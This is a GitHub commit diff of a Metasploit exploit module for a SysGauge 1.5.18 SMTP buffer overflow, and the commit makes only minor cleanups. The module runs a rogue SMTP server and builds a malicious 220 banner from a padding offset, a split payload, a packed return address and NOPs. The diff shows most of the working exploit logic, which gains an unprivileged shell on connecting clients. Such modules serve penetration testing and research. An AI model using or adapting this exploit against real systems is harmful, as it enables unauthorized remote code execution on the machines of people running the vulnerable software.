1
-
1
+ #
2
2
# This module requires Metasploit: http://metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
#
7
7
#
8
8
##
9
9
10
-
11
- require 'msf/core'
12
-
13
10
class MetasploitModule < Msf ::Exploit ::Remote
14
11
include Msf ::Exploit ::Remote ::TcpServer
15
12
@@ -19,14 +16,14 @@ def initialize()
19
16
super (
20
17
'Name' => 'SysGauge SMTP Validation Buffer Overflow' ,
21
18
'Description' => %q{
22
- This module will setup a SMTP server expecting a connection from SysGauge 1.5.18
19
+ This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
23
20
via its SMTP server validation. The module sends a malicious response along in the
24
- 220 service ready response and exploits the client resulting in an unprivileged shell.
21
+ 220 service ready response and exploits the client, resulting in an unprivileged shell.
25
22
} ,
26
23
'Author' =>
27
24
[
28
25
'Chris Higgins' , # msf Module -- @ch1gg1ns
29
- 'Peter Baris'
26
+ 'Peter Baris' # Initial discovery and PoC
30
27
] ,
31
28
'License' => MSF_LICENSE ,
32
29
'References' =>
@@ -40,7 +37,6 @@ def initialize()
40
37
'Payload' =>
41
38
{
42
39
'Space' => 306 ,
43
- 'Smallest' => true ,
44
40
'BadChars' => "\x00 \x0a \x0d \x20 "
45
41
} ,
46
42
'Platform' => 'win' ,
@@ -53,32 +49,31 @@ def initialize()
53
49
}
54
50
]
55
51
] ,
56
- 'Privileged' => ' false' ,
52
+ 'Privileged' => false ,
57
53
'DisclosureDate' => 'Feb 28 2017' ,
58
54
'DefaultTarget' => 0
59
55
)
60
56
register_options (
61
57
[
62
58
OptPort . new ( 'SRVPORT' , [ true , "The local port to listen on." , 25 ] ) ,
63
- ] , self . class )
64
- end
65
-
66
- def setup
67
- super
59
+ ] )
68
60
end
69
61
70
62
def on_client_connect ( c )
63
+ # Note here that the payload must be split into two parts.
64
+ # The payload gets jumbled in the stack so we need to split
65
+ # and align to get it to execute correctly.
71
66
sploit = "220 "
72
- sploit += rand_text ( target [ 'Offset' ] )
67
+ sploit << rand_text ( target [ 'Offset' ] )
73
68
# Can only use the last part starting from 232 bytes in
74
- sploit += payload . encoded [ 232 ..-1 ]
75
- sploit += rand_text ( 2 )
76
- sploit += [ target . ret ] . pack ( 'V' )
77
- sploit += rand_text ( 12 )
78
- sploit += make_nops ( 8 )
69
+ sploit << payload . encoded [ 232 ..-1 ]
70
+ sploit << rand_text ( 2 )
71
+ sploit << [ target . ret ] . pack ( 'V' )
72
+ sploit << rand_text ( 12 )
73
+ sploit << make_nops ( 8 )
79
74
# And the first part up to 232 bytes
80
- sploit += payload . encoded [ 0 ..231 ]
81
- sploit += "ESMTP Sendmail \r \n "
75
+ sploit << payload . encoded [ 0 ..231 ]
76
+ sploit << "ESMTP Sendmail \r \n "
82
77
83
78
print_status ( "Client connected: " + c . peerhost )
84
79
print_status ( "Sending payload..." )
0 commit comments